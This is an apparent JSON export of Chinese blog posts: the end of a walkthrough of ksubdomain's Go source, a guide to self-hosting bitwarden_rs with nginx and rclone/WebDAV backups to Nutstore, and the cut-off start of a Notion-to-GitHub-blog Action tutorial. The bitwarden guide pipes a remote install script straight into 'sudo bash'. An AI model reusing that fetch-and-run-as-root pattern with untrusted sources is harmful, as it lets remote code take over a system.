style=\"color:#a6e22e\"\u003elevelDomains\u003c/span\u003e = \u003cspan style=\"color:#a6e22e\"\u003edl\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t} \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eInt\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;level\u0026#34;\u003c/span\u003e) \u0026gt; \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003elevelDomains\u003c/span\u003e = \u003cspan style=\"color:#a6e22e\"\u003ecore\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eGetDefaultSubNextData\u003c/span\u003e()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#a6e22e\"\u003eopt\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e:=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eoptions\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eOptions\u003c/span\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003eRate\u003c/span\u003e:         \u003cspan style=\"color:#a6e22e\"\u003eoptions\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eBand2Rate\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eString\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;band\u0026#34;\u003c/span\u003e)),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003eDomain\u003c/span\u003e:       \u003cspan style=\"color:#a6e22e\"\u003edomains\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003eFileName\u003c/span\u003e:     \u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eString\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;filename\u0026#34;\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003eResolvers\u003c/span\u003e:    \u003cspan style=\"color:#a6e22e\"\u003eoptions\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eGetResolvers\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eString\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;resolvers\u0026#34;\u003c/span\u003e)),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003eOutput\u003c/span\u003e:       \u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eString\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;output\u0026#34;\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003eSilent\u003c/span\u003e:       \u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eBool\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;silent\u0026#34;\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003eStdin\u003c/span\u003e:        \u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eBool\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;stdin\u0026#34;\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003eSkipWildCard\u003c/span\u003e: \u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eBool\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;skip-wild\u0026#34;\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003eTimeOut\u003c/span\u003e:      \u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eInt\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;timeout\u0026#34;\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003eRetry\u003c/span\u003e:        \u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eInt\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;retry\u0026#34;\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003eMethod\u003c/span\u003e:       \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;enum\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003eOnlyDomain\u003c/span\u003e:   \u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eBool\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;only-domain\u0026#34;\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003eNotPrint\u003c/span\u003e:     \u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eBool\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;not-print\u0026#34;\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003eLevel\u003c/span\u003e:        \u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eInt\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;level\u0026#34;\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003eLevelDomains\u003c/span\u003e: \u003cspan style=\"color:#a6e22e\"\u003elevelDomains\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#a6e22e\"\u003eopt\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eCheck\u003c/span\u003e()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#a6e22e\"\u003er\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e:=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003erunner\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eNew\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003eopt\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enil\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003egologger\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eFatalf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eError\u003c/span\u003e())\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enil\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#a6e22e\"\u003er\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eRunEnumeration\u003c/span\u003e()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#a6e22e\"\u003er\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eClose\u003c/span\u003e()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enil\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t},\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e具体的实现细节就不关注了，可以看到入口点只是读取了一些配置，继续进入 \u003ccode\u003eRunEnumeration\u003c/code\u003e 看看\u003c/p\u003e","title":"ksubdomain源码阅读"},{"content":"因为bitwarden的氪金玩家才能使用双因子认证，恰好手上有个vps，搭建个bitwarden服务端来使用2fa\n自建bitwarden vps比较垃圾，所以选用一个资源开销比较小的服务端比较有必要，我这里选择的是 https://github.com/mprasil/bitwarden_rs\n这里采用 docker-compose 进行部署\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 version: \u0026#39;3\u0026#39; services: bitwarden: image: bitwardenrs/server:latest container_name: bitwarden restart: unless-stopped volumes: - ./bw-data:/data environment: - WEBSOCKET_ENABLED=true - SIGNUPS_ALLOWED=true - WEB_VAULT_ENABLED=true - ADMIN_TOKEN=xxxxxxxxxxxxxxxxxxxx ports: - \u0026#34;127.0.0.1:8889:80\u0026#34; - \u0026#34;127.0.0.1:8810:3012\u0026#34; 其中的3012是websocket通知端口\nWEBSOCKET_ENABLED 代表启用 websocket\nSIGNUPS_ALLOWED 代表是否启用注册\nWEB_VAULT_ENABLED 代表是否启用web界面\nADMIN_TOKEN 是管理界面的密码，用来启用管理界面，启用后可通过 [https://你的域名/admin](https://你的域名/admin) 进行访问\n然后我们需要创建一个反向代理，这里我使用的是 nginx，下面给出 nginx 配置\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 upstream bitwarden-default { server 127.0.0.1:8889; } upstream bitwarden-ws { server 127.0.0.1:8810; } server { listen 80; listen [::]:80; server_name bitwarden.example.tld; client_max_body_size 128M; # reverse proxy location / { proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_pass http://bitwarden-default; } location /notifications/hub/negotiate { proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_pass http://bitwarden-default; } location /notifications/hub { proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $http_connection; proxy_set_header X-Real-IP $remote_addr; proxy_pass http://bitwarden-ws; } } 你现在可以访问域名看看界面了\n当然，现在还只是http，http协议下bitwarden是不允许进行一些密码操作的，你可以配置证书接入ssl，或者使用cloudflare接入ssl\n注册完自己的用户后建议修改上面的 SIGNUPS_ALLOWED 然后重启docker关闭注册。\n然后你可以使用bitwarden的客户端了\n创建挂载目录备份数据 密码数据最好备份一下，要是哪天vps坏了就gg了\nbitwarden_rs的数据库是sqlite3，直接打包压缩备份，然后同步到坚果云\n坚果云配置webdav 首先我们在坚果云后端创建一个备份应用，点击进入 账户信息 - 安全选项\n然后点击下面的添加应用，随便填写一个名字，然后复制生成的应用密码\n然后在坚果云根目录下创建一个目录名为 bitwarden_backup 作为我们后续的同步文件夹\n服务器挂载webdav 首先安装rclone，为什么使用rclone而不是davfs2，主要是因为davfs2不支持 vfs 缓存（将直接从远程读取并直接写入远程），对于后续的同步会有比较大的问题（主要是同步程序对于文件的操作）\n1 curl https://rclone.org/install.sh | sudo bash 挂载需要使用fuse，所以需要安装一下\n1 apt install fuse 然后使用 rclone config 配置webdav\n然后创建目录进行挂载\n1 2 3 4 5 6 7 8 mkdir /mnt/rclone_bitwarden_backup #挂载 #rclone mount \u0026lt;网盘名称:网盘路径\u0026gt; \u0026lt;本地路径\u0026gt; [参数] --daemon #取消挂载 #fusermount -qzu \u0026lt;本地路径\u0026gt; rclone mount jianguoyun:/bitwarden_backup /mnt/rclone_bitwarden_backup --allow-non-empty --daemon --vfs-cache-mode full --log-file /var/log/rclone_bitwarden_backup.lo 上面的是手动挂载，如果你希望开机自动挂载可以查看 Rclone 使用教程 - 挂载 OneDrive、Google Drive 等网盘(Linux)\n监听文件变化进行同步 其实也可以直接将上面的 docker-compose 挂载目录设置到webdav的挂载目录上去，但是icon_cache这个目录下很多文件，调用webdav次数过多会触发坚果云风控，如果不在意的话也可以采取该方案\n我这里采用 inotify 进行监控同步的方案\n首先安装 rsync和inotifywait\n1 apt install -y rsync inotify-tools 然后监控文件变更，同步到webdav的挂载目录\n1 inotifywait -mrq --timefmt \u0026#39;%d/%m/%y %H:%M\u0026#39; --format \u0026#39;%T %w %f %e\u0026#39; -e modify,create,delete,move /root/bitwarden_rs/bw-data | while read -r event; do rsync -aHv --exclude icon_cache /root/bitwarden_rs/bw-data/ /mnt/rclone_bitwarden_backup/; done 注意该命令最好使用tmux之类的程序来启动，因为需要跑在后台\n后记 发现监听变化就同步，坚果云的上传流量用得太猛了，所以还是采用了crontab定时同步的方案\n参考链接 https://rs.bitwarden.in/configuration/enabling-websocket-notifications\nhttps://gythialy.github.io/deploy-bitwarden-rs-with-traefik/\nhttps://github.com/dani-garcia/vaultwarden/wiki/Proxy-examples\nhttps://pianshen.com/article/4173217148/\nhttps://p3terx.com/archives/linux-vps-uses-rclone-to-mount-network-drives-such-as-onedrive-and-google-drive.html\nhttps://rclone.org/commands/rclone_mount/#vfs-cache-mode-full\nhttps://www.myfreax.com/how-to-exclude-files-and-directories-with-rsync/\nhttps://segmentfault.com/a/1190000038351925\n","permalink":"https://www.hacktech.cn/post/2021/12/selfhost-bitwarden-sync-nutstore/","summary":"\u003cp\u003e因为bitwarden的氪金玩家才能使用双因子认证，恰好手上有个vps，搭建个bitwarden服务端来使用2fa\u003c/p\u003e\n\u003ch2 id=\"自建bitwarden\"\u003e自建bitwarden\u003c/h2\u003e\n\u003cp\u003evps比较垃圾，所以选用一个资源开销比较小的服务端比较有必要，我这里选择的是 \u003ca href=\"https://github.com/mprasil/bitwarden_rs\"\u003ehttps://github.com/mprasil/bitwarden_rs\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e这里采用 docker-compose 进行部署\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;3\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eservices\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ebitwarden\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eimage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ebitwardenrs/server:latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econtainer_name\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ebitwarden\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003erestart\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eunless-stopped\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evolumes\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003e./bw-data:/data\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eWEBSOCKET_ENABLED=true\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eSIGNUPS_ALLOWED=true\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eWEB_VAULT_ENABLED=true\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eADMIN_TOKEN=xxxxxxxxxxxxxxxxxxxx\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eports\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;127.0.0.1:8889:80\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;127.0.0.1:8810:3012\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e其中的3012是websocket通知端口\u003c/p\u003e","title":"自建bitwarden备份同步到坚果云"},{"content":"notion是用来记录笔记的，hugo是我用来作为github博客自动构建发布的\n我目前设置了一个github action是：当我的博客仓库hugo分支有push事件时，自动构建文章发布到master分支，并且发布到博客园。\n但是会有这样的不便：在notion中写了一篇笔记或文章，想要发布到github静态博客上，发现需要先将文章转化成markdown，图片需要上传到图床，然后贴入markdown，然后再推送到github，等待action自动构建静态博客\n既然我使用notion记录笔记，何不继续All-in-one，将notion作为我的博客发布工具。\n只需要在 notion 中建立一个用于博客发布的 database，然后写完笔记后填入这个 database，再使用一些手段触发 CI 即可完成博客文章的发布\n工具介绍 说干就干，写了两个工具\nhttps://github.com/akkuman/notiontomd\nhttps://github.com/akkuman/notion_to_github_blog\nnotiontomd 是用来notion中的某个page转化为markdown的库，当然，当前支持的block是有限的，详细信息可以查看该仓库\nnotion_to_github_blog则是一个github action模板，用来自动从指定格式的database中拉取需要更新发布的文章，然后利用 notiontomd 转化为markdown，然后推送到github仓库，再触发另外的github aciton进行博客静态文件构建\n使用 怎么建仓怎么自动从某分支拉取推到github pages所在分支我就不展开说明了，感兴趣的可以去网上搜索相关资料，本文所关注的流程是从notion database到博客源文件\n基础环境 本文所涉及到的例子环境可以前往我的博客仓库 https://github.com/akkuman/akkuman.github.io 进行查看\nhugo分支用来存放博客源文件，其中有一个github action的功能是push时触发，然后自动构建推送到master分支\nmaster分支用来存放hugo构建之后生成的站点静态文件\n博客相关的图片我会推送到 https://github.com/akkuman/pic 仓库\nhugo作为主分支，master设置为github pages分支（原因后面描述）\nworkflows编写 要使用该action，首先你需要在 notion 中创建一个 database，这个 database 需要有几个字段，字段名如下:\nName (title): 文章标题\nArticle (text): 文章链接\nMDFilename (text): 创建的 markdown 文件名\nCategory (select): 文章分类\nTags (multi_select): 文章标签\nIsPublish (checkbox): 文章是否发布\nNeedUpdate (checkbox): 文章是否有更新\nCreateAt (Created time): 创建时间\nUpdateAt (Last edited time): 更新时间\n默认当 IsPublish 未勾选或 NeedUpdate 勾选的项目才会触发流程，即 IsPublish=false || NeedUpdate=true 时触发\n样例如下\n然后你需要在你存放博客源文件的仓库进行一些设置，放置上workflows\n下面以我的github博客仓库 akkuman/akkuman.github.io 为例进行说明\n我们创建一个workflows: akkuman/akkuman.github.io/.github/workflows/xxx.yml\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 name: Notion To Blog on: issues: types: [opened] jobs: notion-to-blog: if: ${{ github.event.issue.user.login == github.actor \u0026amp;\u0026amp; contains(github.event.issue.title, \u0026#39;notion-ci\u0026#39;) }} runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 with: # Workflows are only triggered when commits (and tags I think, but it would need to be tested) are created pushed using a Personal Access Token (PAT). # ref: https://github.com/EndBug/add-and-commit/issues/311#issuecomment-948749635 token: ${{ secrets.CHECKOUT_TOKEN }} - name: Markdown From Notion uses: akkuman/notion_to_github_blog@master with: notion_token: ${{ secrets.NOTION_TOKEN }} notion_database_id: ${{ secrets.NOTION_DATABASE_ID }} img_store_type: github img_store_path_prefix: notionimg # img_store_url_path_prefix: ${{ secrets.IMG_STORE_URL_PATH_PREFIX }} # Actions run as an user, but when they are running in a fork there are potential security problems, so they are degraded to \u0026#34;read-only\u0026#34; # ref: https://github.com/actions/first-interaction/issues/10#issuecomment-546628432 # ref: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token # so you should set another token img_store_github_token: ${{ secrets.CHECKOUT_TOKEN }} img_store_github_repo: akkuman/pic img_store_github_branch: master # md_store_path_prefix: ${{ secrets.MD_STORE_PATH_PREFIX }} - name: push to github uses: EndBug/add-and-commit@v7 with: branch: hugo message: \u0026#39;Notion CI\u0026#39; 字段解释：\nnotion_token: notion申请的app的api token\nnotion_database_id: notion中需要作为博客发布的database的id，这是一个uuid，可以通过Share-\u0026gt;Copy link获取，注意需要把其中的id转化为uuid的格式，比如 Copy link出来为 https://www.notion.so/akkuman/7bf568e946b946189b2b4af0c61b9e78?v=c45b5e45e96541f4bf81994ab4af1a6e，则notion_database_id为 7bf568e9-46b9-4618-9b2b-4af0c61b9e78，并且你所要发布的文章以及该database都需要invite我们上面申请的app（为了token能够获取到内容）\nimg_store_type: notion中提取出来的图片保存到哪，可选 local 或者 